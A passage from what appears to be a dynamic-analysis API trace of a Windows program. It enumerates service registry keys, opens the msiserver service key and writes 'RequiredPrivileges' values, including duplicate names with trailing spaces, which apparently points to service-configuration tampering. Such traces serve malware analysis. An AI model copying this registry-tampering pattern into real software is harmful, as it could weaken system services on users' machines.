cchName=0x104 | out: lpName="fdc") returned 0x0 [0236.489] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0236.489] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0236.489] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0236.489] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0236.489] RegEnumKeyW (in: hKey=0x150, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0236.489] RegEnumKeyW (in: hKey=0x150, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0236.489] RegEnumKeyW (in: hKey=0x150, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0236.489] RegEnumKeyW (in: hKey=0x150, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0236.489] RegEnumKeyW (in: hKey=0x150, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0236.489] RegEnumKeyW (in: hKey=0x150, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0236.489] RegEnumKeyW (in: hKey=0x150, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0236.489] RegEnumKeyW (in: hKey=0x150, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0236.489] RegEnumKeyW (in: hKey=0x150, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0236.489] RegEnumKeyW (in: hKey=0x150, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0236.490] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0236.490] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0236.490] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0236.490] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0236.490] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0236.490] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0236.490] RegEnumKeyW (in: hKey=0x150, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0236.490] RegEnumKeyW (in: hKey=0x150, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0236.490] RegEnumKeyW (in: hKey=0x150, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0236.490] RegEnumKeyW (in: hKey=0x150, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0236.490] RegEnumKeyW (in: hKey=0x150, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0236.490] RegEnumKeyW (in: hKey=0x150, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0236.490] RegEnumKeyW (in: hKey=0x150, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0236.490] RegEnumKeyW (in: hKey=0x150, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0236.490] RegEnumKeyW (in: hKey=0x150, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0236.491] RegEnumKeyW (in: hKey=0x150, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0236.491] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0236.491] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0236.491] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0236.491] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0236.491] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0236.491] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0236.491] RegEnumKeyW (in: hKey=0x150, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0236.491] RegEnumKeyW (in: hKey=0x150, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0236.491] RegEnumKeyW (in: hKey=0x150, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0236.491] RegEnumKeyW (in: hKey=0x150, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0236.491] RegEnumKeyW (in: hKey=0x150, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0236.491] RegEnumKeyW (in: hKey=0x150, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0236.491] RegEnumKeyW (in: hKey=0x150, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0236.491] RegEnumKeyW (in: hKey=0x150, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0236.491] RegEnumKeyW (in: hKey=0x150, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0236.492] RegEnumKeyW (in: hKey=0x150, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0236.492] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0236.492] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0236.492] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0236.492] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0236.492] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0236.492] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0236.492] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0236.492] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0236.492] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0236.492] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0236.492] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0236.492] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0236.492] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0236.493] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0236.493] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0236.493] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0236.493] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0236.493] RegEnumKeyW (in: hKey=0x150, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0236.493] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0236.493] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0236.493] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0236.493] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0236.493] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0236.493] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0236.493] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0236.493] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0236.493] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0236.493] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0236.494] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0236.494] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0236.494] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0236.494] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0236.494] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0236.494] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0236.494] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0236.494] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0236.494] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0236.494] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0236.494] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0236.494] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0236.494] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0236.494] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0236.494] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0236.495] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0236.495] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0236.495] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0236.495] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0236.495] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0236.495] RegCloseKey (hKey=0x150) returned 0x0 [0236.495] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0236.495] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0236.495] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0236.495] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0236.495] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0236.495] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0236.495] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0236.495] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0236.495] RegCloseKey (hKey=0x80000002) returned 0x0 [0236.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0236.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0236.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0236.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0236.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0236.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0236.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0236.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0236.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0236.496] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0236.496] RegCloseKey (hKey=0xc4) returned 0x0 [0236.496] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0236.496] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0236.496] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0236.496] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0236.496] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0236.497] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0236.497] RegCloseKey (hKey=0x150) returned 0x0 [0236.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0236.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0236.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0236.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0236.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0236.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0236.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0236.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0236.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0236.498] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.498] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.498] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.498] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.498] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.498] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.498] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.498] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.498] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.498] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.499] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.499] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.499] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.499] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.499] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.499] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0236.499] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0236.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0236.499] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0236.499] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0236.499] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.499] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.499] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.499] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.500] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.500] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.500] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.500] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.500] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.500] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.500] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.500] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.500] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.500] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0236.500] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, 